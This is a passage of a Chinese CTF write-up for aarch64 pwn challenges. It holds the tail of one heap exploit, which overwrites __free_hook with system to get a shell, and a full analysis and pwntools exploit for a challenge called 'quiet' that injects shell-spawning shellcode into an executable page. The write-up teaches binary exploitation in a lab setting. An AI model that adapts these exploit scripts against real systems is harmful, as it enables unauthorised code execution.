    s('\x02')
    sleep(0.1)
# pause()
ru('pos:0,11\n')
base = uu64(r(3))+0x4000000000 - 0x154ad0
system_addr = sym('system')+base
free_hook = sym('__free_hook')+base
leak(base)
leak(system_addr)
leak(free_hook)

poison = p64(0)*3 + p64(0x21)
poison+= p64(free_hook)*2 
s(poison)
sleep(0.1)
s('/bin/sh\x00')
sleep(0.1)
s(p64(system_addr))

# end 

itr()

 

Queit

分析

同样的思路,先整理 jump_tablefunc_table,同时这道题中有一些函数也没有正确显示,需要安装之前的方法手动调整

:8:sub_10E4
#:5:sub_1154
(:0:sub_11D8
):1:sub_11C4
*:2:sub_11A8
/:3:sub_118C
@:4:sub_1170
G:9:sub_1098
[:6:sub_1134
]:7:sub_1118

之后看一下input函数, 这道题相比上一道题要简单很多,基本上看伪代码就OK了

在这个函数里,程序会依照 jump_table将用户的输入翻译为 index,并以此去执行 func_table中的函数

此时各个寄存器中存放的值为

x0          要执行的函数地址
x21         翻译后的索引值 chunk1
x22         ** qword_12070
x27 x23     chunk2
void input()
{
  _BYTE *chunk; // x21
  int v1; // w0
  int index; // w1
  _BYTE *chunk_addr; // x0
  int chr; // t1
  __int64 fnc_table[11]; // [xsp+60h] [xbp+60h]

  __printf_chk(1LL, "cmd> ", &_stack_chk_guard, 0LL);
  chunk = malloc(0x1000uLL);
  v1 = getpagesize();
  memset((void *)qword_12070, 0, v1);
  read(0, chunk, 0x1000uLL);
  fnc_table[0] = (__int64)off_12010;
  fnc_table[1] = (__int64)off_12018;
  fnc_table[2] = (__int64)off_12020;
  fnc_table[3] = (__int64)off_12028;
  fnc_table[4] = (__int64)off_12030;
  fnc_table[5] = (__int64)off_12038;
  fnc_table[6] = (__int64)off_12040;
  fnc_table[7] = (__int64)off_12048;
  fnc_table[8] = (__int64)off_12050;
  fnc_table[9] = (__int64)off_12058;
  fnc_table[10] = (__int64)off_12060;
  if ( malloc(0x200uLL) )
  {
    index = (unsigned __int8)*chunk;
    chunk_addr = chunk;
    if ( *chunk )
    {
      do
      {
        *chunk_addr = jump_table[index];
        chr = (unsigned __int8)*++chunk_addr;
        index = chr;
      }
      while ( chr );
    }
    *chunk_addr = 8;
    __asm { BR              X0 }
  }
  exit(-1);
}

在这里我们要关注的函数是 sub_1154sub_11D8

这两个函数一个会接收一个字符存入 ** qword_12070,另一个会令 (** qword_12070)+ 1

** qword_12070的地址是有执行权限的,因此我们可以利用这两个函数写入 shellcode

之后只需通过 loc_1098即可劫持控制流执行shellcode

整个思路比较清晰,就不再赘述了,详见EXP

EXP

#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
    callers_local_vars = inspect.currentframe().f_back.f_locals.items()
    temp =  [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
    p.info(temp + ': {:#x}'.format(var))

s      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
plt     = lambda data               :elf.plt[data]
got     = lambda data               :elf.got[data]
sym     = lambda data               :libc.sym[data]
inf     = lambda data               :success(data)
itr     = lambda                    :p.interactive()

local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = './lib/libc-2.27.so'
binary = './quiet'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(['qemu-aarch64', '-L','.', '-g', '1234','quiet'])
if len(argv) > 1:
    if argv[1]=='r':
        p = remote('',)
# libc = elf.libc
libc = ELF(remote_libc)

def dbg(cmd=''):
    os.system('tmux set mouse on')
    context.terminal = ['tmux','splitw','-h']
    gdb.attach(p,cmd)
    pause()

# start 

context.log_level = 'DEBUG'

"""
:8:sub_10E4
#:5:sub_1154
(:0:sub_11D8
):1:sub_11C4
*:2:sub_11A8
/:3:sub_118C
@:4:sub_1170
G:9:sub_1098
[:6:sub_1134
]:7:sub_1118

x0          func
x21         翻译后的索引值 chunk1
x22         ** qword_12070
x27 x23     chunk2

"""
def input():
    return '#)'
def trigger():
    return 'G'

sc = asm(shellcraft.sh())
pl = input()*len(sc)
pl+= trigger()
sa('cmd> ',pl)
sleep(0.1)
for i in range(len(sc)):
    s(p8(sc[i]))

# end 

itr()

 

总结

其实总的来说这两道题过于考验pwn师傅的逆向能力,有种为了出题而出题的感觉 hhhh, 但是整体做下来还是有几点收获的

  1. 在看不懂题目汇编的时候一定要去调试,关注各个寄存器中的地址,有没有和程序有联系的,在这两道题中就是 jump_tablefunc_table,这对帮助理解题目有很大帮助,如果生啃汇编的话一会人就废了
  2. 在题目逻辑比较复杂,IDA对于一些函数或变量的分析有问题时,可以通过人工手段来进行调整,方便我们理解,包括但不限于 创建函数创建结构体修改变量类型等等
  • 在做异构题目时,需要频繁的用 gdb-multiarch连接题目,如果觉得烦的话可以写一个小脚本
    // debug
    file apollo
    set architecture aarch64
    set endian little
    b *0x0000000000
    target remote :123456
    

    连接时只需输入 gdb-multiarch -x debug 即可

 

参考

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多